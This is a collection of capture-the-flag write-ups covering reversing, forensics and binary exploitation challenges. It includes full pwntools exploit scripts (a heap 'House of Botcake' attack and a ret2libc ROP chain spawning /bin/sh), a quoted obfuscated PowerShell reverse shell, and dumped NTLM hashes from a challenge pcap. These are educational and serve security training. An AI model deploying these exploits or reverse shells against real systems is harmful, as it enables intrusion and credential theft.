So the idea is that we're going to convert each of these 7 bits to decimal, and use the ascii table to convert it to characters, and then use the "EHCON" search command and we'll get the flag.
`Flag: EHACON{4ll_7h3_b35T}` |
The challenge input consists of a single .pyc file, which is a bytecode for a program run with python 3.8.
There are existing tools to decompile .pyc back to .py such as [decompyle3](https://pypi.org/project/decompyle3/) or [uncompyle6](https://pypi.org/project/uncompyle6/), but unfortunately both of these tools and some others we tested fail to decompile the given pyc file. The two mentioned ones print the JIT opcodes in human readable format and print `Parse error at or near 'None' instruction at offset -1`
We started off trying to fix the pyc file, maybe something was modified manually? But in the end we just took a look at the JIT opcodes manually. It contains a lot code blocks looking similar to this:
``` 4 LOAD_GLOBAL sum 6 LOAD_FAST 'password' 8 LOAD_CONST 0 10 LOAD_CONST 3 12 BUILD_SLICE_2 2 14 BINARY_SUBSCR 16 CALL_FUNCTION_1 1 '' 18 LOAD_CONST 222
L. 3 20 COMPARE_OP != 22 POP_JUMP_IF_FALSE 28 'to 28' 24 LOAD_GLOBAL exit 26 LOAD_CONST -1 28_0 COME_FROM 22 '22'
L. 4 28 CALL_FUNCTION_1 1 '' 30 POP_TOP 32 LOAD_FAST 'password' 34 LOAD_CONST 0 36 BINARY_SUBSCR 38 LOAD_FAST 'password' 40 LOAD_CONST 1 42 BINARY_SUBSCR 44 BINARY_XOR 46 LOAD_FAST 'password' 48 LOAD_CONST 2 50 BINARY_SUBSCR 52 BINARY_XOR 54 LOAD_CONST 94
L. 5 56 COMPARE_OP != 58 POP_JUMP_IF_FALSE 64 'to 64' 60 LOAD_GLOBAL exit 62 LOAD_CONST -1 64_0 COME_FROM 58 '58'
L. 6 64 CALL_FUNCTION_1 1 ''
```
As we can see there seems to be a local variable `password` which is probably a string or list, maybe even the flag. First we get characters `0-3` from it and calculate their sum. This sum is required to be `222` or the function will call `exit(-1)`. Afterwards the first three characters are XORed and the result needs to be `94` or the function will call `exit(-1)`.In python this logic would look something like this:```pythonif sum(password[0:3]) != 222: exit(-1)if (password[0] ^ password[1] ^ password[2]) != 94: exit(-1)```
After the code above the pyc file repeats this process, always summing and xoring three, comparing the results to a constant.The start and end are always incremented by one such that in the second step `sum(password[1:4])` is calculated and so on.
At this point we just assumed the correct password is the flag we are looking for and we can confirm this is probably the case using:
```pythonpassword = [ord(x) for x in "HTB"]
if sum(password[0:3]) != 222: exit(-1)if (password[0] ^ password[1] ^ password[2]) != 94: exit(-1) print("the first three seem to be correct!")```
Running above program prints `the first three seem to be correct!`. This means we know the password we are looking for is porbably our flag as flags have the format `HTB{...}`.
Given the first three characters as `HTB` we can calculate the remaining letters one by one. After the `sum(password[0:3]) != 222` check the pyc file checks `sum(password[1:4]) != 273`. Thus we can calculate the forth character using `chr(273 - ord("B") - ord("T"))`. Then the fifth character using the next sum check and so on.In total there are 46 characters i.e. 46 `sum(password[i : i + 3]) == z` checks. We used the following bash/grep line to extract all constants `z`:
```bashuncompyle6 bamboozled.pyc | sed '/^[[:space:]]*$/d' | grep -E -B 2 'COMPARE_OP\s+!=' | grep -E -A 1 'CALL' | grep -E 'LOAD_CONST' | grep -Eo '\s[0-9]+$' | tr '\n' ','```
Which prints
```# file bamboozled.pyc# Deparsing stopped due to parse error 222, 273, 301, 356, 349, 341, 268, 262, 253, 305, 244, 202, 155, 158, 158, 156, 213, 258, 315, 257, 273, 218, 262, 245, 241, 256, 275, 321, 264, 196, 196, 247, 251, 270, 266, 309, 311, 259, 259, 241, 307, 263, 217, 210, 192, 265,```
Using this data one can trivially calculate the full flag:
```pythonsum_results = [ 222, 273, 301, 356, 349, 341, 268, 262, 253, 305, 244, 202, 155, 158, 158, 156, 213, 258, 315, 257, 273, 218, 262, 245, 241, 256, 275, 321, 264, 196, 196, 247, 251, 270, 266, 309, 311, 259, 259, 241, 307, 263, 217, 210, 192, 265]
result = "HTB"for i in range(1, len(sum_results)): c = chr(sum_results[i] - ord(result[i]) - ord(result[i + 1])) result += c
print("flag:", result)```
Which prints:```flag: HTB{pyth0n_d155453mbl3r5_a1nt_50_h4rd_t0_br34k!}```
We do not really need the constants from the XOR checks, but one can extract them using:
```bashuncompyle6 bamboozled.pyc | sed '/^[[:space:]]*$/d' | grep -E -B 2 'COMPARE_OP\s+!=' | grep -E -A 1 'BINARY_XOR' | grep -E 'LOAD_CONST' | grep -Eo '\s[0-9]+$' | tr '\n' ','``` |
## Hookless
was a heap challenge from MetaCtf 2021.
pretty standard heap menu as you can see.
It is based on libc-2.34, and have all the mitigations up to this version,
Specifically the libc-2.34 has no more hooks for malloc, free, realloc.. so it needs different ways to obtain a code execution.
we quickly check the binary
Ok only Partial RELRO, so GOT entries could be modified.. (but we will not use it..)
The vulnerabilities usable to exploit the heap challenge were:
* a double free in the delete function, as the allocation pointers are not nulled after a free.* an UAF in the edit function, but you can use it only one time.* an UAF in display function (useful to leak addresses)
You are limited to 15 allocations, no more, and when a bloc is freed the allocation counter is not decremented.
Basically the exploitation plan was to use the "House of Botcake" heap exploitation technic,
a bit modified to fit in the 15 allocations limit.
you can find a good explanation on it here:
[https://github.com/shellphish/how2heap/blob/master/glibc_2.34/house_of_botcake.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.34/house_of_botcake.c)
or here,
[https://github.com/StarCross-Tech/heap_exploit_2.31/blob/master/house_of_botcake.c](http://github.com/StarCross-Tech/heap_exploit_2.31/blob/master/house_of_botcake.c)
I have to modify a bit the original attack, to fit in the 15 allocations limit..
So, we allocate 6 chunks from tcache of 0x100 size,
then two more chunks (A and B) of 0x100 size (this is the two chunks that we will use for the attack),
then a last padding chunk of size 0x100 , to prevent consolidation.
then we free the first 6 chunks, and the last padding chunk. That will fill the tcache 0x110 list (7 chunks)
even freed, the padding chunk will prevent consolidation..
Then we first free chunk B (that will put a unsorted libc address on heap , that we will leak to calcultate libc address), then we free bloc A
We then allocate a chunk of 0x100 size from tcache, and double free the chunk B.
Then we allocate a chunk of size 0x130, that bloc will be allocated at the address of chunk A, and will overlap chunk B, with it we can modify bloc B metadata, and fd, bk pointers..
that's the basis of House of Botcake.
With our overlapping chunk we modify the fd pointer of chunk B, to make it points to _IO_2_1_stdout_
in libc.
Now we have to allocate two chunks, the second one will be allocated to our target.
We will modify __IO_2_1_stdout__ to leak the stack environment variables address via the libc "environ" variable, we have for this to overwrite many stdout pointers..
what will happen after altering stdout like this, it that stdout will leak the stack address..
like you can see here:
this technic will somewhat broke stdout output, the ending carriage return will disappears.. but it's still usable...
Now that we know the stack address, we just have to double free another chunk,
then modify its FD pointer with the edit function (usable only once...), to make it points to stack..
and we will have an allocation of a chunk on stack..
we can directly overwrite the create function return address, with a ROP, that will call system("/bin/sh"),
and like that, we will have a code execution without any Hooks...
if you understand nothing of my explanation :)
just read the code...
**P.S.:**
we probably could also have leaked the address of the bss or program base, via ld.so vars..
and overwrite a GOT entry... we left that as an exercise for the most motivated...
```python3#!/usr/bin/env python# -*- coding: utf-8 -*-from pwn import *
context.update(arch="amd64", os="linux")context.log_level = 'debug'
exe = ELF('./chall.patched')libc = ELF('./libc.so.6')
host, port = "host.cg21.metaproblems.com", "3260"
if args.REMOTE: p = remote(host,port)else: p = process(exe.path)
# max size 1024def add(idx,size,data): p.sendlineafter('Exit\n','1') p.sendlineafter('index?\n',str(idx)) p.sendlineafter('it?\n',str(size)) p.sendafter('here?\n',data)
def addn(idx,size,data): p.sendlineafter('Exit','1') p.sendlineafter('index?',str(idx)) p.sendlineafter('it?',str(size)) p.sendafter('here?',data)
def display(idx): p.sendlineafter('Exit\n','2') p.sendlineafter('index?\n',str(idx))
def edit(idx,data): p.sendlineafter('Exit\n','3') p.sendlineafter('index?\n',str(idx)) p.sendafter('here?\n',data)
def editn(idx,data): p.sendlineafter('Exit','3') p.sendlineafter('index?',str(idx)) p.sendafter('here?',data)
# double freedef free(idx): p.sendlineafter('Exit\n','4') p.sendlineafter('index?\n',str(idx))
def freen(idx): p.sendlineafter('Exit','4') p.sendlineafter('index?',str(idx))
for i in range(6): add(i,0x100,chr(0x41+i))
add(6,0x100,'1')add(7,0x100,'2')add(8,0x100, '3')for i in range(6): free(i)free(8)
# leak heap basedisplay(0)heap = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))<<12print('heap base = '+hex(heap))
free(7)display(7)# leak unsorted libc addresslibc.address = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00')) - 0x1edcc0print('libc base = '+hex(libc.address))
free(6)add(9,0x100,p64(0xdeadbeef)*2)free(7)# get a bloc overlapping next bloc, overwrite destadd(10,0x130,'\x00'*0x108+p64(0x111)+p64(libc.symbols['_IO_2_1_stdout_'] ^ (heap>>12)))# nopadd(11,0x100,'a')
# overwrite stdout to leak stack via libc environ varpayload = p64(0xfbad1800) + p64(0)*3 + p64(libc.sym['environ']) + p64(libc.sym['environ'] + 0x8)*3 + p64(libc.sym['environ'] + 0x9)add(12,0x100,payload)
stack = u64(p.recv(8))print('stack leak environ = '+hex(stack))
# double free another block to overwrite stackfreen(11)editn(11,p64((stack-0x168) ^ (heap>>12)))addn(13,0x100, 'X'*0x80)
rop = ROP(libc)retg = rop.find_gadget(['ret'])[0]pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
# copy the payload on to stack to create function return addresspayload = '/bin/sh\x00'+p64(retg)+p64(pop_rdi)+p64(stack-0x168)+p64(libc.symbols['system'])addn(14,0x100, payload)
p.interactive()```
*nobodyisnobody still pwning things...* |
# Peel Back The Layers
## tl;dr
Docker image that contains history that exposes a c library containing the flag
## Analysis
We can pull the image with
```shdocker pull steammaintainer/gearrepairimage```
We can export the image to a tar like this:
Then we can check the history using container-diff:
A file was copied to /usr/share/lib. Let's check it:
Navigate to 0aec9568b70f59cc149be9de4d303bc0caf0ed940cd5266671300b2d01e47922/layer.tar/usr/share/lib
## Flag
Use strings on the library:
The flag is right there:
HTB{1_r34lly_l1k3_st34mpunk_r0b0ts!!!} |
## Sneeki Snek 2 oh no what did i do
It is the same thing as the first sneeki challenge.
### Python bytecode
I explained it in the first challenge in detail, go there and learn something :)
Our code looks like this:
```pya = []a.append(1739411)a.append(1762811)a.append(1794011)a.append(1039911)a.append(1061211)a.append(1718321)a.append(1773911)a.append(1006611)a.append(1516111)a.append(1739411)a.append(1582801)a.append(1506121)a.append(1783901)a.append(1783901)a.append(1773911)a.append(1582801)a.append(1006611)a.append(1561711)a.append(1039911)a.append(1582801)a.append(1773911)a.append(1561711)a.append(1582801)a.append(1773911)a.append(1006611)a.append(1516111)a.append(1516111)a.append(1739411)a.append(1728311)a.append(1539421)b = ''
for i in a: c = str(i)[::-1] c = c[:-1] c = int(c) c = c ^ 5 c = c - 55555 c = c // 555 b += chr(c) print(b)```
Execute this code and:
# kqctf{snek_waas_not_so_sneeki} |
# MetaCTF 2021## Challenge (100pts)### Description: >Sometimes in forensics, we run into files that have odd or unknown file extensions. In these cases, it's helpful to look at some of the file format signatures to figure out what they are. We use something called "magic bytes" which are the first few bytes of a file.What is the ASCII representation of the magic bytes for a VMDK file? The flag format will be 3-4 letters (there are two correct answers).
### Step 1 - Resource Gathering:We found a [Wikipedia Page](https://en.wikipedia.org/wiki/List_of_file_signatures) that has a list of common file signatures. Luckily `VMDK` is on it, so we don't need to look elsewhere.### Step 2 - Identify Magic Bytes:According to the Wikipedia page, `VMDK` files have 3 short ASCII bytes, which is what the flag is looking for.<details> <summary> Flag Spoiler </summary> KDM</details>
## Learning TakeawaysWe learn about magic bytes and file identifiers in this challenge to discern what a file is. Many applications use this to identify a file rather than observing its contents, which can allow for steganographic techniques. |
After downloading [event logs](https://metaproblems.com/aa50297520b4159c83a31f5fe8f9cdeb/bruteforce.evtx) I opened them with windows logs explorer. I sorted them by date and in the first one there was account name
**ericm** |
# MetaCTF 2021## Under Inspection (100pts)### Description: >Someone made this [site](https://metaproblems.com/2841e99cee26f773b26b300acad556c4/inspect/) for the Autobots to chat with each other. Seems like the Decepticons have found the site too and made accounts.One of the Autobot accounts has a flag that they're trying to keep hidden from the Decepticons, can you figure out which account it is and steal it?
### Step 1 - View Source Code:By viewing the source code, we can see the `loginSubmission()` function which stores usernames and passwords in plaintext:```javascriptvar username = document.getElementById("username").value;var password = document.getElementById("password").value;var result = document.getElementById("result");var accounts = [ {user: "Admin", pwd: "MetaCTF{super_secure_password}"}, {user: "Bumblebee", pwd: "MetaCTF{sting_like_a_bee}"}, {user: "Starscream", pwd: "MetaCTF{the_best_leader_of_the_decepticons}"}, {user: "Jazz", pwd: "MetaCTF{do_it_with_style_or_dont_do_it_at_all}"}, {user: "Megatron", pwd: "MetaCTF{peace_through_tyranny}"},];```Since these are all `MetaCTF{}` formatted flags, we cannot be certain which one is the correct one. Further down in this function, we can see a validation that only validates Jazz:```javascriptfor(var a in accounts) { if(accounts[a].user == username && accounts[a].pwd == password) { if(username == "Jazz") { result.innerHTML = "Welcome, Jazz. The flag is " + password; } else { result.innerHTML = "Welcome, " + username + "."; }return false;```It appears that logging in to Jazz validates that the flag is indeed is password. This suites the challenge theme of finding an Autobot flag rather than a Decepticon's.
<details> <summary> Flag Spoiler </summary> MetaCTF{do_it_with_style_or_dont_do_it_at_all}</details>
## Learning TakeawaysWe learned that plaintext usernames and passwords should not be displayed in the source code. |
# Keep the Steam Activated
The description for this challenge is as follows:
*The network in which our main source of steam is connected to, got compromised. If they managed to gain full control of this network, it would be a disaster!*
The challenge was rated at 3 out of 4 stars, and it was worth 450 points at the end with a total of 14 solves.The downloadables for this challenge included a single pcap file. This was a reasonably difficult forensics challenge that included skills like pcap analysis, obfuscated powershell script analysis, and decoding encrypted protocols using scripts.
**TL;DR Solution:** Extract ntd.dit and SYSTEM hive files from the pcap based on information derived from an obfuscated powershell script. Extract NTLM hashes from those files, and use them to decrypt WinRM traffic. Then find the flag encoded in base64.
## Original Writeup Link
This writeup is also available on my GitHub! View it there via this link: https://github.com/knittingirl/CTF-Writeups/tree/main/forensic_challs/HTB_Uni_Quals_21/keep_the_steam_activated
## Extracting NTLM Hashes
Firstly, one good initial step when dealing with pcap files is to check if any files were transferred over HTTP, since Wireshark provides an easy option for the extraction of such files. Simply go to File > Export Objects > HTTP. The files that seemed especially relevant here were called rev.ps1, n.exe, and drop.ps1. As a result, I saved all of them for further analysis.
The rev.ps1 file was relatively obfuscated, as shown below. However, one piece of obfuscated text that stands out is "(("{0}{1}{2}" -f '192.168','.1','.9'),4443)". This appears to be targetting the attacker machine's IP address of 192.168.1.9, on what we can assume is port 4443.```sv ('8mxc'+'p') ([tyPe]("{1}{0}{2}" -f 't.encOdi','tex','nG') ) ;${ClI`E`Nt} = &("{1}{0}{2}"-f 'je','New-Ob','ct') ("{5}{0}{8}{1}{2}{3}{4}{6}{7}" -f'y','m','.Net.So','ckets.T','C','S','PC','lient','ste')(("{0}{1}{2}" -f '192.168','.1','.9'),4443);${sT`Re`Am} = ${C`L`IeNT}.("{0}{2}{1}"-f'Ge','tream','tS').Invoke();[byte[]]${By`T`es} = 0..65535|.('%'){0};while((${i} = ${str`EaM}.("{0}{1}" -f'Re','ad').Invoke(${bY`Tes}, 0, ${by`TEs}."Len`G`TH")) -ne 0){;${d`AtA} = (.("{2}{1}{0}"-f '-Object','w','Ne') -TypeName ("{0}{3}{5}{1}{4}{2}" -f'Syst','ASCI','g','em.Text','IEncodin','.'))."gETSt`R`i`Ng"(${by`TES},0, ${i});${SeN`DBacK} = (.("{0}{1}"-f 'ie','x') ${Da`Ta} 2>&1 | &("{0}{2}{1}"-f'Out-','ing','Str') );${SENdb`AC`k2} = ${s`eNDb`ACK} + "PS " + (.("{1}{0}"-f'd','pw'))."P`ATH" + "> ";${sE`NDBYtE} = ( ( vaRIaBle ('8MXC'+'P') -ValUe )::"ASC`Ii").("{2}{1}{0}"-f'es','tByt','Ge').Invoke(${SENdB`AC`K2});${sT`REAM}.("{0}{1}" -f'Writ','e').Invoke(${S`e`NdbY`Te},0,${SE`NDbyTe}."lENG`TH");${S`TR`eAM}.("{1}{0}" -f 'h','Flus').Invoke()};${clIE`Nt}.("{0}{1}"-f 'Cl','ose').Invoke()```If I use the filter "tcp.port == 4443" in Wireshark, I can see that there is a lot of TCP traffic here. If I right-click one of these packets and select Follow > TCP stream, I can view a plaintext representation of the conversation that occurred over these packets. Of particular interest is the fact that the files ntds.dit and the SYSTEM hive seem to have been encoded in base 64, then transferred back to the attacker machine using port 8080 with the n.exe file. As a side-note, I determined that n.exe seems to be a version of netcat by simply uploading it to VirusTotal.
Now I can use the filter "tcp.port == 8080" and follow the conversations again like described above. There are two separate conversations, both of which seem to be base64 strings with "-----BEGIN CERTIFICATE-----" at the top and "-----END CERTIFICATE-----" at the end.
I decoded both files by using the base64 utility in the Linux command line. The workflow here is to use the "Save as" option at the bottom of the followed TCP window to save a text file version of each stream, open the files up in a text editor to cut of the plaintext certificate lines, then run them through the base64 utility while piping the outputs to appropriately named files. Now I just need to figure out where to go from here.```knittingirl@piglet:~/CTF/HTB_Uni_Quals_21/forensics_keep_the_steam$ base64 --decode ntds_b64_stream > ntds.ditknittingirl@piglet:~/CTF/HTB_Uni_Quals_21/forensics_keep_the_steam$ base64 --decode system_b64_stream > system.hive```## Deriving NTLM Hashes
Obviously, there is a lot of information in both the ntds.dit and SYSTEM hive files, so I decided to focus on what I could derive if given both simultanoeously. After a bit of research, I found that it is a reasonably common strategy to rip these files from a system in order to extract NTLM hashes for Domain users. Impacket has a script that can automatically extract these hashes called secretsdump.py; my Kali Linux machine seems to have the script already, but you could also download it from the github at https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py. The actual command to dump the hashes is relatively straightforward, as is the process of parsing the results:```knittingirl@piglet:~/CTF/HTB_Uni_Quals_21/forensics_keep_the_steam$ secretsdump.py -ntds ntds.dit -system system.hive LOCALImpacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Target system bootKey: 0x406124541b22fb571fb552e27e956557[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)[*] Searching for pekList, be patient[*] PEK # 0 found and decrypted: 9da98598be012bc4a476100a50a63409[*] Reading and decrypting hashes from ntds.dit Administrator:500:aad3b435b51404eeaad3b435b51404ee:8bb1f8635e5708eb95aedf142054fc95:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::CORP-DC$:1000:aad3b435b51404eeaad3b435b51404ee:94d5e7460c75a0b30d85744f633a0e66:::krbtgt:502:aad3b435b51404eeaad3b435b51404ee:9555398600e2b2edf220d06a7c564e6f:::CORP.local\fcastle:1103:aad3b435b51404eeaad3b435b51404ee:37fbc1731f66ad4e524160a732410f9d:::CORP.local\jdoe:1104:aad3b435b51404eeaad3b435b51404ee:37fbc1731f66ad4e524160a732410f9d:::WS01$:1105:aad3b435b51404eeaad3b435b51404ee:cd9c49cc4a1a535d27b64ab23d58f3e6:::WS02$:1106:aad3b435b51404eeaad3b435b51404ee:98c3974cacc09721a351361504de4de5:::CORP.local\asmith:1109:aad3b435b51404eeaad3b435b51404ee:acbfc03df96e93cf7294a01a6abbda33:::[*] Kerberos keys from ntds.dit Administrator:aes256-cts-hmac-sha1-96:6e5d1ccb7642b4bf855975702699f733034916dbd04bf4acddc36ac273b3f578Administrator:aes128-cts-hmac-sha1-96:8d5709c4a7cab2e0f5fbb4a069b283fbAdministrator:des-cbc-md5:e302c7793b58ae97CORP-DC$:aes256-cts-hmac-sha1-96:9c888129432a87257f81f6bb6affd91bc3b0ba9cf20e94ef9216364d79aab5bdCORP-DC$:aes128-cts-hmac-sha1-96:0ac3c714050469724e5c41d21f7f86d3CORP-DC$:des-cbc-md5:57497ce6972613dakrbtgt:aes256-cts-hmac-sha1-96:85c670ece27dad635c28630454154bb325b644b8f61d44f802b80c39277f529ekrbtgt:aes128-cts-hmac-sha1-96:15bfbb6b827c1904e49d77bf7624c2f4krbtgt:des-cbc-md5:a2074373b920515dCORP.local\fcastle:aes256-cts-hmac-sha1-96:c6319d38d781e145161c4b1a4ef11d08ad9be36c43b173b355f78c2cf2edf15aCORP.local\fcastle:aes128-cts-hmac-sha1-96:144565c25d70678535b2908983d74f6eCORP.local\fcastle:des-cbc-md5:6b0b2f01a731a78fCORP.local\jdoe:aes256-cts-hmac-sha1-96:9d74074381d0000525c1cfbb24c2943e28bf415b89c8cf958eae5add39614ac8CORP.local\jdoe:aes128-cts-hmac-sha1-96:7e0fb5fa7dcfa50ea0a8a55e08b63f74CORP.local\jdoe:des-cbc-md5:610e67019e9b68abWS01$:aes256-cts-hmac-sha1-96:ccc215ff3ac06dc3e206f6e55cd1512f3bb00311d02c77591f3cb08e01d5a40fWS01$:aes128-cts-hmac-sha1-96:5e94401d7da953a13d42809340ff6ec3WS01$:des-cbc-md5:9885ea642f268ab3WS02$:aes256-cts-hmac-sha1-96:dc3f081be6c29532904a073124a0998d857667cc5c531fcbe0f6d3e46d40eac2WS02$:aes128-cts-hmac-sha1-96:7e494ea36b4fb80670f807a8c72e7b3dWS02$:des-cbc-md5:b58a08dc9eabbc0dCORP.local\asmith:aes256-cts-hmac-sha1-96:57e22c0b740ed35935f82a6e34ab84a683437105a4ab2f1f3ba70962d5c53112CORP.local\asmith:aes128-cts-hmac-sha1-96:392a638579d925cca9e4ef7965b9dcddCORP.local\asmith:des-cbc-md5:839bd6e9380e40f7[*] Cleaning up... ```By googling the NT hashes, I was able to determine that asmith's plaintext password was Summer2020, but I have not determined the passwords for the other users.
### SMB Decryption Rabbit Hole
I spent several hours attempted to decrypt the encrypted SMB3 traffic at the beginning of the capture. I will not go into much detail about that here, but if anyone is interested, this writeup provides the best description of how to decrypt this traffic, and I used it extensively in these attempts: https://medium.com/maverislabs/decrypting-smb3-traffic-with-just-a-pcap-absolutely-maybe-712ed23ff6a2
## Decrypting the Winrm Traffic
When you view the traffic immediately after the bas64 encoded SYSTEM hive has finished transmitting over port 8080, you can see encrypted winrm traffic that can hopefully be decrypted to view the flag.
I was able to find a script online that can purportedly decrypt winrm traffic if given the NT hash of the password, which seems perfect given what we have. However, when I attempted to run it, it failed. Ultimately, the issue seems to have come down to a failure to properly parse the pcap capture data as bytes. A team member made adjustments on line 208, where "include_raw=True, use_json=True" was added, and line 248, where "file_data = cap.http.file_data.binary_value" was changed to "file_data = cap.http.file_data_raw[0].binary_value". The output was very long, and it started like this: ```knittingirl@piglet:~/CTF/HTB_Uni_Quals_21/forensics_keep_the_steam$ python3 winrm_decoder_edited.py -n 8bb1f8635e5708eb95aedf142054fc95 capture.pcap No: 21358 | Time: 2021-11-05T07:04:51.144128 | Source: 192.168.1.9 | Destination: 192.168.1.10
<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:env="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:b="http://schemas.dmtf.org/wbem/wsman/1/cimbinding.xsd" xmlns:n="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:x="http://schemas.xmlsoap.org/ws/2004/09/transfer" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd" xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" xmlns:cfg="http://schemas.microsoft.com/wbem/wsman/1/config"> <env:Header>
```I ended up piping this output to a "winrm_decoded.txt" file and grepping for flag-like results. At an initial glance, I noticed that there seemed to be a lot of powershell commands obfuscated with base64 that could contain a plaintext flag. Base64 encoding depends on offset, so as a I was attempting to grep for the flag, I tried encoding aHTB{ and got YUhUQns=. The first two characters seem dependant on the a, so if I just grep for some of the middle characters, I get:```knittingirl@piglet:~/CTF/HTB_Uni_Quals_21/forensics_keep_the_steam$ cat winrm_decoded.txt | grep hUQn <rsp:Stream Name="stdout" CommandId="8937D38B-70EB-44FB-84C5-DB5752DA7E67">AAAAAAAAABoAAAAAAAAAAAMAAABeAQAAAAQQBACzrAetdF3OT7duxmQ4O6Yxi9M3ietw+0SExdtXUtp+Z++7vzxTPkhUQntuMHRoMW5nXzFzX3RydTNfM3Yzcnl0aDFuZ18xc19kM2NyeXB0M2R9PC9TPg==</rsp:Stream>```If I then go ahead and decode this base64 string, I get:```....................^........³¬..t]ÎO·nÆd8;¦1.Ó7.ëpûD.ÅÛWRÚ~gHTB{n0th1ng_1s_tru3_3v3ryth1ng_1s_d3crypt3d}```Thanks for reading! |
# Vieta's Poly## Description
> Here's a pwntools tutorial challenge to get you warmed up!
> nc ctf.k3rn3l4rmy.com 2236
## Source
```pyfrom pwn import *context.log_level = 'debug' #will print all input and output for debugging purposesconn = remote("server",port) #enter the address and the port here as strings. For example nc 0.0.0.0 5000 turns into remote('0.0.0.0', 5000)def get_input(): #function to get one line from the netcat input = conn.recvline().strip().decode() return inputdef parse(polynomial): ''' TODO: Parse polynomial For example, parse("x^3 + 2x^2 - x + 1") should return [1,2,-1,1] '''for _ in range(4): get_input() #ignore challenge flavortextfor i in range(100): type = get_input() coeffs = parse(get_input()) print(coeffs) ans = -1 if 'sum of the roots' in type: ans = -1 #TODO: Find answer elif 'sum of the reciprocals of the roots' in type: ans = -1 #TODO: Find answer elif 'sum of the squares of the roots' in type: ans = -1 #TODO: Find answer conn.sendline(str(ans)) #send answer to server get_input()conn.interactive() #should print flag if you got everything right```
## Solution
From the title of challenge, I thought it's relate to `vieta's formulas`. Yeah, I searched about this keyword in Google and copy a function to find `coeffs`
And you know, it's failed to submit the flag. Cause the challenge intentaion is find the roots.
From source code:- Parse equation to polynomial- Calculate roots with given polynomial - Calculate `sum of sth` following the statement
My code do the same thing with what I said
```pyfrom pwn import *import reimport numpy as npcontext.log_level='debug'
# Parse equation to polynomialdef parse(string): arr = re.split('\^\d+\s', string) newArr = [] for x in arr: if x == 'x': newArr.append(1) else: newArr.append(int(x.replace(' ','').split('x')[0])) return newArr
def sumRoots(arr): return sum(arr)
def sumSquaresRoots(arr): sum = 0 for i in arr: sum += i**2 return sum
def sumReciprocalsRoots(arr): sum = 0 for i in arr: sum += 1/i return sum
# Check statementdef checkCondition(res): for i in range(len(res)): if "sum of the roots" in res[i]: print(["sum of the roots", res[i + 1]]) return ["sum of the roots", res[i + 1]] elif "reciprocals" in res[i]: print(["reciprocals", res[i + 1]]) return ["sum of the reciprocals of the roots", res[i + 1]] elif "squares" in res[i]: print(["sum of the squares roots", res[i + 1]]) return ["sum of the squares of the roots", res[i + 1]]
# Receive response from the netcatdef get_input(): input = p.recv().strip().decode() return input
# Find rootsdef getRoots(polynomial): roots = np.roots(polynomial) return roots
p = remote('ctf.k3rn3l4rmy.com', 2236)
for i in range(100): res = get_input().split('\n') cmd = checkCondition(res) polynomial = parse(cmd[1].rstrip()) roots = getRoots(polynomial)
if 'sum of the roots' in cmd: ans = sumRoots(roots) elif 'sum of the reciprocals of the roots' in cmd: ans = sumReciprocalsRoots(roots) elif 'sum of the squares of the roots' in cmd: ans = sumSquaresRoots(roots) p.sendline(str(int(round(ans).real))) print("Sent", ans)
res = get_input()p.close()```
The flag was captured ??
```Flag is : flag{Viet4s_f0r_th3_win}``` |
You only had to read the initial lines with the letters and the correspondent 'translation'. Then, for each emoji text given, you use this dictionary created to decode it.You can achieve this using the following Python code:
```Pythonfrom pwn import remote
conn = remote('143.255.251.230', 5555)
alphabet = {}
while True: rcv = conn.recvline()
if rcv[0] >= ord('a'): alphabet[rcv[4:-1]] = chr(rcv[0]).encode()
if rcv[0] == ord('z'): break
while True: to_decode = conn.recvuntil(b'=> ')[:-4] print(to_decode)
result = b'' i = 1 while True: if len(to_decode) == 0: break if to_decode[:i] in alphabet.keys(): result += alphabet[to_decode[:i]] to_decode = to_decode[i:] i = 0 i += 1
print(result) conn.send(result + b'\r\n') print(conn.recvline()) print(conn.recvline())
conn.close()``` |
Return to banner() to ensure RDX is populated with buffer_len so we can call write(1, got.write) and leak our libc foothold. We then return to system('/bin/sh').
Write-up to follow: https://www.youtube.com/watch?v=JJD45W-C9mQ&t=2169s
```pyfrom pwn import *
def start(argv=[], *a, **kw): if args.GDB: # Set GDBscript below return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: # ('server', 'port') return remote(sys.argv[1], sys.argv[2], *a, **kw) else: # Run locally return process([exe] + argv, *a, **kw)
# Specify your GDB script here for debugginggdbscript = '''init-pwndbgcontinue'''.format(**locals())
# Set up pwntools for the correct architectureexe = './minimelfistic'# This will automatically get context arch, bits, os etcelf = context.binary = ELF(exe, checksec=False)# Enable verbose logging so we can see exactly what is being sent (info/debug)context.log_level = 'info'
# ===========================================================# EXPLOIT GOES HERE# ===========================================================
# Lib-C library# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') # Locallibc = ELF('libc.so.6') # Remote
# Pass in pattern_size, get back EIP/RIP offsetoffset = 72
ret = 0x400616 # Stack alignment
# Start programio = start()
# Create a ROP object to handle complexitiesrop = ROP(elf)
# Payload to leak libc function# No puts() so use write()rop.banner()rop.write(1, elf.got.write)rop.main()
# We need the '9' or we won't get out of infinite looppayload = flat([ b'9' + (asm('nop') * (71)), rop.chain()])
# Send the payloadio.sendlineafter(b'>', payload)
io.recvlines(41) # the banner
# Retrieve got.write addressgot_write = unpack(io.recvline()[:6].ljust(8, b"\x00"))info("leaked got_write: %#x", got_write)
# Subtract write offset to get libc baselibc.address = got_write - libc.symbols.writeinfo("libc_base: %#x", libc.address)
# Reset ROP object with libc binaryrop = ROP(libc)
# Call ROP system, passing location of "/bin/sh" stringrop.system(next(libc.search(b'/bin/sh\x00')))
# We need the '9' or we won't get out of infinite looppayload = flat([ b'9' + (asm('nop') * (offset - 1)), ret, rop.chain()])
